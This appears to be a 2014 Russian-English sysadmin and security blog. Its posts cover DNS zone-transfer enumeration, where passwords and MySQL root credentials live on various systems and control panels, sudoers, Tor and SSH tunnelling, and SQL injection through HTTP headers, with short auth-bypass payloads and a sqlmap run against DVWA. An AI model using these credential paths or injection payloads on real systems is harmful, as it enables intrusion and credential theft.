понедельник, 28 июля 2014 г.

Finding subdomains of a domain, spy sites

Let's say you want to find all the subdomains/cnames of 'lowlife.org':

user@host:/#dig lowlife.org

; <<>> DiG 8.2 <<>> lowlife.org 
;; res options: init recurs defnam dnsrch
;; got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 4
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 0
;; QUERY SECTION:
;;      lowlife.org, type = A, class = IN

;; AUTHORITY SECTION:
lowlife.org.            1D IN SOA       ns0.demon.nl. hostmaster.demon.nl. (
                                        2000801000      ; serial
                                        6H              ; refresh
                                        30M             ; retry
                                        2W              ; expiry
                                        1D )            ; minimum

Here you can see that the authoritive nameserver is 'ns0.demon.nl'.

Oke now lets look at the subdomains/cnames:

user@host:/#dig @ns0.demon.nl lowlife.org axfr

; <<>> DiG 8.2 <<>> @ns0.demon.nl lowlife.org axfr 
; (1 server found)
$ORIGIN lowlife.org.
@                       1D IN SOA       ns0.demon.nl. hostmaster.demon.nl. (
                                        2000801000      ; serial
                                        6H              ; refresh
                                        30M             ; retry
                                        2W              ; expiry
                                        1D )            ; minimum

                        1D IN NS        ns0.demon.nl.
                        1D IN NS        ns0.demon.co.uk.
                        1D IN MX        10 punt.mail.nl.demon.net.
                        1D IN MX        40 relay-2.mail.nl.demon.net.
                        1D IN MX        60 relay-1.mail.demon.net.
                        1D IN MX        60 relay-2.mail.demon.net.
demon                   1D IN CNAME     www
middelburg              1D IN A         212.92.68.205
freebsd                 1D IN CNAME     www
localhost               1D IN A         127.0.0.1
www                     1D IN A         195.11.225.234
                        1D IN MX        10 punt.mail.nl.demon.net.
                        1D IN MX        40 relay-2.mail.nl.demon.net.
                        1D IN MX        60 relay-1.mail.demon.net.
                        1D IN MX        60 relay-2.mail.demon.net.
project                 1D IN A         145.92.3.32
sentinel                1D IN CNAME     www
*                       1D IN MX        10 punt.mail.nl.demon.net.
                        1D IN MX        40 relay-2.mail.nl.demon.net.
                        1D IN MX        60 relay-1.mail.demon.net.
                        1D IN MX        60 relay-2.mail.demon.net.
@                       1D IN SOA       ns0.demon.nl. hostmaster.demon.nl. (
                                        2000801000      ; serial
                                        6H              ; refresh
                                        30M             ; retry
                                        2W              ; expiry
                                        1D )            ; minimum

;; Received 23 answers (23 records).
;; FROM: lowlife.support.nl.demon.net to SERVER: 194.159.73.5
;; WHEN: Thu Sep 14 10:24:28 2000


And tataaaaa: you see the subdomains: localhost, middelburg, www and project 
and the cnames: demon, freebsd and sentinel.


man dig

     Dig (domain information groper) is a flexible command line tool which can
     be used to gather information from the Domain Name System servers.  
     All query options are accessible from the command line.

     The usual simple use of dig will take the form:

                 dig @server domain query-type query-class

     query-type  is the type of information (DNS query type) that you are re-
                 questing. If omitted, the default is ``a'' (T_A = address).
                 The following types are recognized:

                 a       T_A        network address
                 any     T_ANY      all/any information about specified domain
                 mx      T_MX       mail exchanger for the domain
                 ns      T_NS       name servers
                 soa     T_SOA      zone of authority record
                 hinfo   T_HINFO    host information
                 axfr    T_AXFR     zone transfer (must ask an authoritative
                                    server)
                 txt     T_TXT      arbitrary number of strings



                 (See RFC 1035 for the complete list.)

 query-class
                 is the network class requested in the query. If omitted, the
                 default is ``in'' (C_IN = Internet). The following classes
                 are recognized:

                 in      C_IN       Internet class domain
                 any     C_ANY      all/any class information

                 (See RFC 1035 for the complete list.)

                 Note: ``Any'' can be used to specify a class and/or a type of
                 query.  Dig will parse the first occurrence of ``any'' to
                 mean query-type = T_ANY. To specify query-class = C_ANY, you
                 must either specify ``any'' twice, or set query-class using
                 the -c option (see below). 

Using host
Use host like this:

user@host:/#host -l -t any lowlife.org
lowlife.org start of authority  ns0.demon.nl hostmaster.demon.nl(
                        2000801000      ;serial (version)
                        21600   ;refresh period
                        1800    ;retry refresh this often
                        1209600 ;expiration period
                        86400   ;minimum TTL
                        )
lowlife.org name server ns0.demon.nl
lowlife.org name server ns0.demon.co.uk
lowlife.org mail is handled (pri=10) by punt.mail.nl.demon.net
lowlife.org mail is handled (pri=40) by relay-2.mail.nl.demon.net
lowlife.org mail is handled (pri=60) by relay-1.mail.demon.net
lowlife.org mail is handled (pri=60) by relay-2.mail.demon.net
demon.lowlife.org is a nickname for www.lowlife.org
middelburg.lowlife.org has address 212.92.68.205
freebsd.lowlife.org is a nickname for www.lowlife.org
localhost.lowlife.org has address 127.0.0.1
www.lowlife.org mail is handled (pri=10) by punt.mail.nl.demon.net
www.lowlife.org mail is handled (pri=40) by relay-2.mail.nl.demon.net
www.lowlife.org mail is handled (pri=60) by relay-1.mail.demon.net
www.lowlife.org mail is handled (pri=60) by relay-2.mail.demon.net
www.lowlife.org has address 195.11.225.234
project.lowlife.org has address 145.92.3.32
*.lowlife.org mail is handled (pri=10) by punt.mail.nl.demon.net
*.lowlife.org mail is handled (pri=40) by relay-2.mail.nl.demon.net
*.lowlife.org mail is handled (pri=60) by relay-1.mail.demon.net
*.lowlife.org mail is handled (pri=60) by relay-2.mail.demon.net
sentinel.lowlife.org is a nickname for www.lowlife.org
lowlife.org start of authority  ns0.demon.nl hostmaster.demon.nl(
                        2000801000      ;serial (version)
                        21600   ;refresh period
                        1800    ;retry refresh this often
                        1209600 ;expiration period
                        86400   ;minimum TTL
                        )


Oke this is allot of info if you're just interested in the cnames/subdomains try this:

user@host:/#host -l lowlife.org
lowlife.org name server ns0.demon.nl
lowlife.org name server ns0.demon.co.uk
middelburg.lowlife.org has address 212.92.68.205
localhost.lowlife.org has address 127.0.0.1
www.lowlife.org has address 195.11.225.234
project.lowlife.org has address 145.92.3.3

Which just gives you the subdomains and try this:

user@host:/#host -l -t cname lowlife.org
demon.lowlife.org is a nickname for www.lowlife.org
freebsd.lowlife.org is a nickname for www.lowlife.org
sentinel.lowlife.org is a nickname for www.lowlife.org

for the cnames.



Another way is using spy sites:
http://www.ip2country.cc/?q=##
http://##.websitetrafficspy.com/
http://spyonweb.com/##
http://webmastercoffee.com/en/site/##
http://www.mydnstats.com/index.php?a=search&q=##
http://www.robtex.com/dns/##.html
http://dns.l4x.org/##
http://uptime.netcraft.com/up/graph?site=##
http://sameip.org/ip/##
http://www.hostsearch.cc/##

вторник, 8 июля 2014 г.

Пароли в разных ОС

  Пароли в разных ОС:

A/UX 3.0s - /tcb/files/auth/?/*
FreeBSD 4.3 - /etc/master.passwd
ConvexOS 10 - /etc/shadpw
ConvexOS 11 - /etc/shadow
DG/UX - /etc/tcb/aa/user/
HP-UX - /.secure/etc/passwd
IRIX 5 - /etc/shadow
Linux 1.1 - /etc/shadow
SunOS 4.1 - /etc/security/passwd.adjunct
SunOS 5.0 - /etc/shadow
UNICOS - /etc/udb
Win 95/98 - c:windows*.pwl
AIX 3 - /etc/security/passwd или /tcb/auth/files/первый символ логина/логин
BSD4.3-Reno - /etc/master.passwd
EP/IX - /etc/shadow
OSF/1 - /etc/passwd[.dir|.pag]
SCO Unix #.2.x - /tcb/auth/files/первый символ логина/логин
System V Release 4.0 - /etc/shadow
System V Release 4.2 - /etc/security/* database
Ultrix 4 - /etc/auth[.dir|.pag]

               Пароли в различных серверах:

Samba  - /etc/samba/smbpasswd
Apache - /usr/local/apache/pwd

                           Основные виды хэшей:

e9a7656f277ba63618e20628fefad321          - md5
14FB05A326C16B2B                          - MySQL
$l$12345678$6KdMANluuNMmoxB4v4SyQ0        - MD5 (Unix)
9ABB8717D8B02F4181274D347622C6927F82725C  - SHA-1
5m84advre2a0p                             - DES

вторник, 1 июля 2014 г.

MySQL root password in Plesk, ISPmanager, DirectAdmin, Cpanel, phpMyAdmin

Plesk (Parallels)
/etc/psa/.psa.shadow

пользователь - admin

ISPManager 
/usr/local/mgr5/etc/common.conf 

root

ISPManager -> Настройки сервера -> Серверы баз данных -> MySQL -> Пароль

DirectAdmin  
/usr/local/directadmin/conf/mysql.conf

da_admin 

cPanel
/root/.my.cnf

DBACCESS="-u root -pPASSWORD"

phpMyAdmin 
/etc/phpMyAdmin/config.inc.php

$cfg['blowfish_secret'] = 'wertyfvv';

$cfg['Servers'][1]['auth_type'] = 'cookie';

$cfg['Servers'][1]['user'] = 'root';

$cfg['Servers'][1]['password'] = 'wejbmjm,n3';
blowfish_secret – это произвольная фраза, которая нужна для шифрования паролей в куках

auth_type – это тип авторизации, который может принимать 3 значения: config, cookie и http:

config – указывает на то, что логин/пароль будут браться из этого файла (две следующие строчки user и password)
cookie – указывает на то, что логин/пароль будут спрашиваться каждый раз, как кто-то переходит по адресу, где лежит phpmyadmin.

понедельник, 30 июня 2014 г.

Sudoers

Формат файла /etc/sudoers прост: начинается с четырех опциональных секций, и заканчивается присвоением специальных прав. Файл может включать пустые строки, строки комментариев, которые начинаются со значка #. Опциональные (необязательные) секции следующие:

User Alias (Псевдоним пользователя): Присваивает псевдоним одному пользователю (не очень полезно) или группе пользователей. Пользователь может иметь несколько псевдонимов.
"Run as" Alias ("Работает как" Псевдоним): Определяет, вместо кого именно пользователь команды sudo будет работать. По умолчанию sudo подразумевает суперпользователя (root), но есть возможность работать вместо кого-либо другого.
Host Alias (Псевдоним рабочей станции): Определяет, каким рабочим станциям присваиваются права. Если вы не системный администратор группы из нескольких рабочих станций Линукс, то не вам это не нужно. А если нужно, то придется скопировать файл при помощи команды rsync на другие хосты, либо использовать что- либо вроде Network Information Service (NIS), чтобы обеспечить кому надо доступ к этому файлу.
Command Alias (Псевдоним Команды): Определяет псевдоним для той или иной команды. Проще напечатать псевдоним APT, чем полный путь, такой как /usr/sbin/apt-get.

Вы не обязаны использовать псевдонимы, но они сильно облегчают дальнейшее редактирование. Например, если вы хотите наделить Дональда_Дака правами, которые имеет Микки_Маус, просто добавьте первого в группу последнего и вам не придется тратить много времени, переписывая везде одинаковые строки. Существует специальный псевдоним ALL (ВСЕ), и его можно использовать везде: он может означать ВСЕ пользователи, ВСЕ хосты, и т.д.

После этих четырех секций, вы должны заполнить секцию специальных прав, которая выглядит как: "who where = (whoelse) what" - "кто где = вместо_кого что". Это означает: who (кто) (пользователь, группа, или псевдоним пользователя) на рабочей станции where (где) может запускать команду what (что) в качестве пользователя whoelse (вместо_кого). (Если это слишком зашифровано, посмотрите ниже пример). Можно также подключить несколько специальных опций, например, NOPASSWD (без_пароля), позволяющей пользователю запускать sudo без введения собственного пароля; другие опции перечислены в манах.

Данный пример не описывает все возможности конфигурации (для этого существует команда man sudoers), но некоторые опции могли бы выглядеть в файле приблизительно так:

#
# Пример файла /etc/sudoers, с извинениями компании Disney company!
#

# Псевдонимы пользователей
# Первая строка создает псевдоним для трех определенных пользователей.
# Вторая строка включает в группу "утки" всех, за исключением "дональда"
# Третья строка создает псевдоним для одного пользователя; это может
# понадобиться в дальнейшем!
#
User_Alias ПЛЕМЯННИКИ = хью, дью, луи
User_Alias ВСЕ_УТКИ_КРОМЕ_ДОНАЛЬДА = %утки, !дональд
User_Alias МИККИ = микки_маус

# Псевдонимы команд

Cmnd_Alias HALT_OR_REBOOT = /sbin/halt
Cmnd_Alias KILL = /usr/bin/killall
Cmnd_Alias SHUTDOWN = /sbin/shutdown
Cmnd_Alias SU = /bin/su

# Права: кто имеет право запускать что

# Стандартное правило: root и пользователи группы "wheel"
# имеют все права
root ALL = (ALL) ALL
%wheel ALL = (ALL) ALL

# Допустим, что микки_маус является системным администратором,
# позволим ему запускать все без пароля
МИККИ ALL = NOPASSWD: ALL

# ПЛЕМЯННИКИ могут выключать машину, если захотят
NEPHEWS HALT_OR_REBOOT, SHUTDOWN 


# In the default (unconfigured) configuration, sudo asks for the root password.

# This allows use of an ordinary user account for administration of a freshly

# installed system. When configuring sudo, delete the two

# following lines:

 
Defaults       targetpw

ALL    ALL = (ALL) ALL  

http://www.opennet.ru/man.shtml?topic=sudoers&category=5&russian=0 

суббота, 28 июня 2014 г.

Проксификация программ на Linux

Решение подходит в т.ч. и для windows приложений запускаемых через wine
Ставим пакет dante-client (он даст нам утилиту socksify)
sudo apt-get install dante-client
Настраиваем (в Ubuntu настройки тут – /etc/dante.conf)
В конце файла:
route {
   from: 0.0.0.0/0 to: 0.0.0.0/0 via: 192.168.1.25 port = 3128
   proxyprotocol: http_v1.0
}
Где 192.168.1.25 – адрес http прокси, 3128 – порт прокси.
Запуск нужного приложения делается следующей командой:

socksify <имя_приложения>
Для Wine вобщем-то то же самое, но дописываем еще и имя запускаемой в wine программы, например для World of Warcraft:
socksify wine icq.exe

RPM Packages Verification

The command rpm -V (The options -y and --verify are equivalent) verifies an installed package. It can alert you to changes made to any of the files installed by RPM.
Also, if a package requires capabilities provided by another package, it can make sure the other package is installed, too.
rpm -V
Output format:
SM5DLUGT c filename
Where:
S is the file size.
M is the file's mode.
5 is the MD5 checksum of the file.
D is the file's major and minor numbers.
L is the file's symbolic link contents.
U is owner of the file.
G is the file's group.
T is the modification time of the file.
c appears only if the file is a configuration file. This is handy for quickly identifying config files, as they are very likely to change, and therefore, very unlikely to verify successfully.


Each of the eight attribute flags will only appear if there is a problem. Otherwise, a "." will be printed in that flag's place.
rpm -Vv $(rpm -qf /sbin/ifdown --qf="%{name}\n") | more

 http://www.rpm.org/max-rpm/s1-rpm-verify-output.html
 http://www.rpm.org/max-rpm/s1-rpm-verify-what-to-verify.html

SSH авторизация по ключу

mik@m1k:~$ ssh-keygen -t dsa -b 1024 -f /home/user/.ssh/id_dsa
-t dsa - тип ключа. Есть rsa и dsa. Dsa это для второй версии ssh, которая сейчас везде по умолчанию. Rsa - первая версия ssh.
-b 1024 (optional) длина ключа
-f /home/user/.ssh/id_dsa - (optional) каталог и имя файла где будет сохранен ключ id_dsa и его публичный ключ id_dsa.pub

После ввода команды, программа попросит ввести пароль, который будет запрашиваться при подключении. Его можно пропустить.

В итоге получаем два файла id_dsa и id_dsa.pub. PUB ключ - это публичный, а id_dsa секретный.
 Переносим файл id_dsa.pub на сервер, к которому мы будем подключаться. Помещаем в директорию /home/user/.ssh/ того пользователя под которым мы будем соединяться по ssh.

Делаем это либо в ручную копированием и вставкой ключа, либо следующей командой:
ssh-copy-id -i .ssh/id_rsa.pub root@212.90.160.1
Теперь надо изменить конфигурацию ssh сервера (файл /etc/ssh/sshd_config) той машины куда мы перенесли публичный ключ.
Раскомментируем строки по которым мы разрешим использовать ключи.
PubkeyAuthentication yes
AuthorizedKeysFile      .ssh/authorized_keys
Переименовываем ключ id_dsa.pub в файл authorized_keys, назначаем файлу правами 600 и оставляем файл в папке /home/user/.ssh.

Пробуем соединиться с сервером:
В случае если имя ключа имеет название по умолчанию (id_dsa), ключ можно не указывать.
 ssh user@212.90.160.1

Если же при генерации ключа было указано имя отличное от id_dsa, например id_dsa2, то нужно явно указать имя ключа.

ssh -i /home/user/.ssh/id_dsa2 user@212.90.160.1

Выставив в конфигурации sshd PermitRootLogin no мы запретим авторизацию по паролю для рута, а указав UsePAM no мы сможем подключиться к серверу только по ключу.

четверг, 29 мая 2014 г.

How to block shells in 777 directories

Add this to your httpd.conf file. Change directory name.
<Directory "/www/site.ru/images">

php_flag engine off
RemoveHandler .phtml .php .php3 .php4 .php5 .php6 .phps .cgi .exe .pl .asp .aspx .shtml .shtm .fcgi .fpl .jsp .htm .html .wml
AddType application/x-httpd-php-source .phtml .php .php3 .php4 .php5 .php6 .phps .cgi .exe .pl .asp .aspx .shtml .shtm .fcgi .fpl .jsp .htm .html .wml
AddType "text/html" .php .cgi .pl .fcgi .fpl .phtml .shtml .php2 .php3 .php4 .php5 .asp .jsp

</Directory>

php_flag engine off - disable php

 RemoveHandler - disable processing of files with given extensions. This directive removes any handler associations for files with the given extensions. Consequently, .htaccess files in subdirectories can undo any associations inherited from parent directories or the server configuration files.

AddType - AddType добавит Content-Type в HTTP-заголовок - это нужно, чтобы браузер показывал исходный код PHP как текст, а не пытался сохранить.
AddType "text/html" 

AllowOverride

Эта директива регулирует отношения между глобальным файлом доступа и пользовательскими файлами .htaccess. В директиве указываются разделенные пробелами опции управления доступом, переопределение которых в файле .htaccess, находящемся в дереве каталогов ниже этого каталога, разрешено. Возможные значения директивы:

• None. Сервер игнорирует файлы .htaccess в этом каталоге. Если вы не намерены использовать для каталога файлы .htaccess, вам следует явно установить эту опцию, поскольку это повысит производительность сервера.

• Аll. По умолчанию пользователи имеют право переопределять в файлах .htaccess все глобальные установки доступа, для которых в этих файлах имеются эквивалентные команды.

• Options. Разрешает использование директивы Options (см. ниже раздел ?Options¦),

• Filelnfo. Разрешает использование в файлах .htaccess директив Add-Туре и AddEncoding (см. раздел ?srm/conf: карта ресурсов сервера¦, содержащий полное описание).

• AuthConfig. Разрешает использование директив AuthName, AuthType, AuthUserFile и AuthGroupFile, необходимых для защиты каталогов паролями.

• Limit. Разрешает использование директивы секционирования <Limit>. См. раздел, посвященный директиве <Limit>, в котором приведено подробное описание.

Options

Директива Options позволяет управлять тем, какие функции сервера доступны для использования в каталоге, указанном в секции <Directory> или в файле .htaccess. В директиве Options можно использовать следующие аргументы:

• None. В указанном каталоге не разрешается использование каких-либо функций.

• All В указанном каталоге разрешается использование всех возможностей (принимается по умолчанию).

• FollowSymLinks. Сервер следует символьным ссылкам, имеющимся в указанном каталоге.

• SymLinksIfOwnerMatch. Сервер следует символьным ссылкам, только если каталог назначения принадлежит тому же пользователю, что и сама ссылка.

• ExecCGI. В указанном каталоге разрешается выполнение сценариев CGI.

• Includes. В указанном каталоге разрешено использование серверных включений. Использование серверных включений требует, чтобы сервер производил синтаксический разбор всех HTML-файлов перед отправкой их клиентам. Нечего и говорить, что это крайне нагружает сервер, поэтому мы бы порекомендовали отключить эту опцию. Если вам необходимы серверные включения, разрешите их на уровне отдельных файлов при помощи директивы AddType, как это описано в разделе ?srm/conf: карта ресурсов сервера¦

• Indexes. Сервер разрешает пользователям заказывать индексную страницу указанного каталога. Выключение этой опции запрещает передачу только списка файлов в каталоге, но не файла index.html.

• IncludesNoExec. Эта директива разрешает использование в указанном каталоге серверных включений, но запрещает запуск из них внешних программ.

 

Order, Deny, Allow

Директива Order управляет состоянием доступа по умолчанию и порядок, в котором доступ разрешается или запрещается. Order может принимать 3 значения:
  • Allow,Deny - доступ по умолчанию запрещен, кроме хостов, указанных в строке после Allow from.
  • Deny,Allow - доступ по умолчанию разрешен, кроме хостов, указанных в строке после Deny from
  • Mutual-failure - разрешен доступ только для тех хостов, которые присутствуют в Allow и отсутствуют в Deny.
Следующий пример отличается только значением Order: "Deny,Allow" вместо "Allow,Deny". Но логика предоставления прав доступа Apache изменится, на первый взгляд, весьма не ожиданно. Доступ будет открыт абсолютно ко всем доменам, даже к поддомену foo.apache.org, явно запрещенному строкой "Deny from foo.apache.org". Это происходит потому, что порядок строк "Allow from ..." и "Deny from ..." не имеет значения. Порядок установки правил задается директивой Order, изходя из чего Апач сначала запрещает доступ к foo.apache.org, а потом перезаписывает это правило, изходя из директивы "Allow from apache.org".

Order Deny,Allow
Allow from apache.org
Deny from foo.apache.org

вторник, 13 мая 2014 г.

Установка tor, privoxy and torsocks in Linux

Try

Debian-like

sudo apt-get update
sudo apt-get install tor tor-geoipdb

Fedora

sudo yum install tor
If you get fault, let's do next:  

Step 1: Add Tor Repository

Firstly we need to add tor yum repository in our system. To create tor repository create file /etc/yum.repos.d/tor.repo and add following content on basis of your system.

For CentOS/RHEL 6

[Tor]
name=Tor Project Repo
baseurl=http://deb.torproject.org/torproject.org/rpm/el/6/$basearch/
gpgcheck=1
enabled=1
gpgkey=http://deb.torproject.org/torproject.org/rpm/RPM-GPG-KEY-torproject.org.asc

For Fedora 20

[Tor]
name=Tor Project Repo
baseurl=http://deb.torproject.org/torproject.org/rpm/fc/20/$basearch/
gpgcheck=1
enabled=1
gpgkey=http://deb.torproject.org/torproject.org/rpm/RPM-GPG-KEY-torproject.org.asc

Step 2: Install Tor

yum install tor

Start Tor

tor
or
sudo /etc/init.d/tor start
sudo /etc/init.d/privoxy start
or
sudo /etc/init.d/torsocks start

Следующие основные пакеты будут автоматически также установлены :
tor  Анонимизирующая сеть для TCP
tor-geoipdb  GeoIP база данных для Tor
torsocks  Упрощает использование SOCKS-совместимых приложений с Tor

Использование torsocks:
torsocks (like a torify) is an improved wrapper that explictly rejects UDP, safely resolves DNS lookups and properly socksifies your TCP connections.
torsocks wget -q -O - ip.appspot.com
or
torify ssh user@host
The configuration file of Privoxy is located in /etc/privoxy/config
# Generally, this file goes in /etc/privoxy/config
#
# Tor listens as a SOCKS4a proxy here:
forward-socks4a / 127.0.0.1:9050 .
confdir /etc/privoxy
logdir /var/log/privoxy
# actionsfile standard  # Internal purpose, recommended
actionsfile default.action   # Main actions file
actionsfile user.action      # User customizations
filterfile default.filter

# Don't log interesting things, only startup messages, warnings and errors
logfile logfile
#jarfile jarfile
#debug   0    # show each GET/POST/CONNECT request
debug   4096 # Startup banner and warnings
debug   8192 # Errors - *we highly recommended enabling this*

user-manual /usr/share/doc/privoxy/user-manual
listen-address  127.0.0.1:8118
toggle  1
enable-remote-toggle 0
enable-edit-actions 0
enable-remote-http-toggle 0
buffer-limit 4096
If you got any problems with torsocks, you need to install and configure it by manually. In my case I had to patch torsocks to prevent arriving errors. https://code.google.com/p/torsocks/issues/detail?id=3

вторник, 29 апреля 2014 г.

SQL injection scanners benchmark

Positives (vulnerable)False positives (not vulnerable)Positives with unstable responseFalse positives with unstable response
Total16224114562016840
sqlmap 0.8-11128229576229
skipfish 1.81b10937378237
wapiti 2.2.1111515813443
acunetix7395010030
w3af 1.0-rc5133161981572126

Potential HTTP Headers for SQL injections

HTTP Header fields
HTTP header fields are components of the message header of requests and responses in the Hypertext Transfer Protocol (HTTP). They define the operating parameters of an HTTP transaction.
Example: Request HTTP
GET / HTTP/1.1
Connection: Keep-Alive
Keep-Alive: 300
Accept:*/*
Host: host
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US;
rv:1.9.2.16) Gecko/20110319 Firefox/3.6.16 ( .NET CLR 3.5.30729; .NET4.0E)
Cookie: guest_id=v1%3A1328019064; pid=v1%3A1328839311134
We can consider the HTTP Cookies, when are stored in databases for sessions identification, as the first potential HTTP variables which should be tested. We will see next in an example of Cookie based SQL injection. There are also other HTTP headers related to the application.

X-Forwarded-For

X-Forwarded-For is an HTTP header field considered as a de facto standard for identifying the originating IP address of a client connecting to a web server through an HTTP proxy or load balancer.

We will see an example of this flaw basing of a form submission.
$req = mysql_query("SELECT user,password FROM admins WHERE user='".sanitize($_POST['user'])."' AND password='".md5($_POST['password'])."' AND ip_adr='".ip_adr()."'"); 
The variable login is correctly controlled due to the sanitize() method.
function sanitize($param){ if (is_numeric($param)) { return $param; } else { return mysql_real_escape_string($param); } }
Let us inspect the ip variable. It is allocating the output of the ip_addr() method.
function ip_adr() { if
(isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { $ip_adr = $_SERVER['HTTP_X_FORWARDED_FOR']; } else { $ip_adr = $_SERVER["REMOTE_ADDR"]; } if (preg_match("#^[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}#",$ip_addr)) { return $ip_adr; } else { return $_SERVER["REMOTE_ADDR"]; } }
Obviously, the IP address is retrieved from the HTTP header X_FORWARDED_FOR. This later is controlled by the preg_match which verifies if this parameter does hold at least one IP address. As a matter of fact, the environment variable HTTP_X_FORWARDED_FOR is not properly sanitized before its value being used in the SQL query. This can lead to run any SQL query by injecting arbitrary SQL code into this field.
The simple modification of this header field to something like:
GET /index.php HTTP/1.1
Host: [host]
X_FORWARDED_FOR :127.0.0.1' or 1=1#
will lead to bypass the authentication control.


User-agent

User agent is an HTTP header field gives the software program used by the original client. This is for statistical purposes and the tracing of protocol violations. It should be included. The first white space delimited word must be the software product name, with an optional slash and version designator.
Not all applications are written to capture the user-agent data, but sometimes applications are designed to store such information (ex: shopping cart providers) to make use of it. In this case, it’s worth investigating the user-agent header for possible issues.
HTTP query example:
GET /index.php HTTP/1.1
Host: [host]
User-Agent: aaa' or 1/* 
 
Referer

Referer is another HTTP header which can be vulnerable to SQL injection once the application is storing it in database without sanitizing it. It’s an optional header field that allows the client to specify, for the server’s benefit, the address ( URI ) of the document (or element within the document) from which the URI in the request was obtained. This allows a server to generate lists of back-links to documents, for interest, logging, etc. It allows bad links to be traced for maintenance.
Example:
GET /index.php HTTP/1.1 Host: [host] User-Agent: aaa' or 1/* Referer: http://www.yaboukir.com

Attacker’s perspective?

As we all know, injection flaws are ranked the first in The OWASP Top 10 Web Application Security Risks. Attackers are increasingly seeking for injection points to get full access of your databases. No matter the injection input vector’s type, whether it’s a GET, POST, Cookie or other HTTP headers; the important for intruders is always to have at least one injection point which let them start the exploitation phase.

Manually testing Cookie based SQL injections

Sqlmap as example

Sqlmap is a popular open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers.
Sqlmap supports the HTTP cookie features so it can be useful in two ways:
  • Authentication based upon cookies when the web application requires that.
  • Detection and exploitation of SQL injection on such header values.
By default sqlmap tests all GET parameters and POST parameters. When the value of –level is set to 2 or above it tests also HTTP Cookie header values. When this value is set to 3 or above, it tests also HTTP User-Agent and HTTP Referer header value for SQL injections. It is however possible to manually specify a comma-separated list of parameter(s) that you want sqlmap to test. This will bypass the dependence on the value of –level too.

Tested HTTP parameter Level in sqlmap
GET 1 (Default)
POST 1 (Default)
HTTP Cookie 2 ≥
HTTP User-Agent 3 ≥
HTTP Referer 3 ≥

For instance, to test for GET parameter id and for HTTP User-Agent only, provide -p id,user-agent.
This is an example of how we can test the parameter named security of an HTTP Cookie of the DVWA (Damn Vulnerable Web Application).
./sqlmap.py -u 'http://127.0.0.1/vulnerabilities/sqli/?id=1&Submit=Submit#'
--cookie='PHPSESSID=0e4jfbrgd8190ig3uba7rvsip1; security=low'
--string='First name' --dbs --level 3 -p PHPSESSID
 
 
 

Туннелирование порта через SSH

Например, работаем на виртуальном хостинге, там Apache, MySQL. Хотим подключить визуальный клиент администрирования MySQL. Много есть случаев, когда было бы удобно коннектится на удаленном компьютере к его локальным портам.
Организация туннеля

Давайте попробуем подключить клиент администрирования MySQL на удаленном компьютере.

Естественно считаем, что вход по SSH по ключу уже настроен.

Тогда поднять туннель не просто, а очень просто. На своем локальном компьютере выполняем команду:
ssh -f username@remote_host -L 127.0.0.1:4306:127.0.0.1:3306 -N

Где:

-f    Говорит ssh уйти в бэкграунд
username    Имя пользователя на удаленном компьютере
remote_host    Имя или IP адрес удаленного хоста
-L 127.0.0.1:4306:127.0.0.1:3306    Пробросить тоннель с локального порта 4306 на удаленный порт 3306
-N    Не выполнять команду на удаленном хосте.
Подключение клиента

Теперь можно подключать клиента. Запускаем mysql-admin и конфигурируем его следующим образом:
Server Hostname:    127.0.0.1
Port:    4306

Пользователь и пароль - ну ясно, так как у нас сконфигурировано.

Примечание: Мы перенаправили с нашего хоста порт 4306, для того, чтобы в случае, если у нас на локальном хосте тоже работает MySQL, не мешать ему.

http://blog.swlogic.eu/2011/07/16/tunnelirovanie-porta-cherez-ssh/

пятница, 28 марта 2014 г.

nslookup инструкция

nslookup (name server lookup) это утилита командной строки, вариант DNS клиента. Чаще всего используется для диагностики проблем с разрешением доменных имен. Может работать в интерактивном и не интерактивном режиме. Напишу немного о втором варианте. Формат использования в не интерактивном режиме простой:
    nslookup [name] [name server]
Если мы не указываем name server, то для запроса используется DNS-сервер который указан в вашей операционной системе (/etc/resolv.conf). Сразу на примерах:
    nslookup 13monkeys.ru
Server: 127.0.0.1
Address: 127.0.0.1#53

Non-authoritative answer:
Name: 13monkeys.ru
Address: 77.222.40.38
Видим что по данным DNS-сервера 127.0.0.1 имени 13monkeys.ru соответствует адрес 77.222.40.38

Имя сервера доменных имен, который будет выполнять рекурсивные запросы, можно задать в качестве последнего аргумента командной строки nslookup.
Запросим непосредственно у DNS-сервера 8.8.8.8:
    nslookup 13monkeys.ru 8.8.8.8 (8.8.8.8 или ns1.reg.ru)
Server: 8.8.8.8
Address: 8.8.8.8#53

Non-authoritative answer:
Name: 13monkeys.ru
Address: 77.222.40.38
И для примера, у одного из ns-серверов, которые прописаны для домена:
    nslookup 13monkeys.ru ns1.spaceweb.ru
Server: ns1.spaceweb.ru
Address: 77.222.40.2#53

Name: 13monkeys.ru
Address: 77.222.40.38
Пропишем в местном DNS-сервере А-запись 13monkeys.ru 127.0.0.2 и проверим:
    nslookup 13monkeys.ru 192.168.0.1
Server: 192.168.0.1
Address: 192.168.0.1#53

Non-authoritative answer:
Name: 13monkeys.ru
Address: 127.0.0.2
Утилитой так же можно смотреть PTR-запись:
    nslookup 77.222.40.38
Server: 127.0.0.1
Address: 127.0.0.1#53

Non-authoritative answer:
38.40.222.77.in-addr.arpa name = ontario.sweb.ru.

Authoritative answers can be found from:
MX-записи:
    nslookup -type=MX 13monkeys.ru
Server: 127.0.0.1
Address: 127.0.0.1#53

Non-authoritative answer:
13monkeys.ru mail exchanger = 10 mx1.spaceweb.ru.
13monkeys.ru mail exchanger = 20 mx2.spaceweb.ru.

Authoritative answers can be found from:
И прочие другие, просто указываем с ключем -type=SOA/MX/CNAME/NS и т. д. На самом деле можно получить более полный отчет, если включить режим отладки:
nslookup -debug gaga.ru

воскресенье, 23 марта 2014 г.

How to change system language CentOS 6

echo $LANG # show current system language
vi /etc/sysconfig/i18n #set LANG="en_US.UTF-8"
source /etc/sysconfig/i18n

There are unfinished transactions remaining yum

There are unfinished transactions remaining. You might consider running yum-complete-transaction first to finish them.
The program yum-complete-transaction is found in the yum-utils package.
--> Running transaction check
Just type 
yum-complete-transaction
and if the command not found
yum install yum-utils 
yum-complete-transaction

суббота, 22 марта 2014 г.

Deekline & Ed Solo - Always RIP (Eddie K & Minus Remix)


Продвинутые методы неявного вызова php кода, использующиеся во вредоносных скриптах

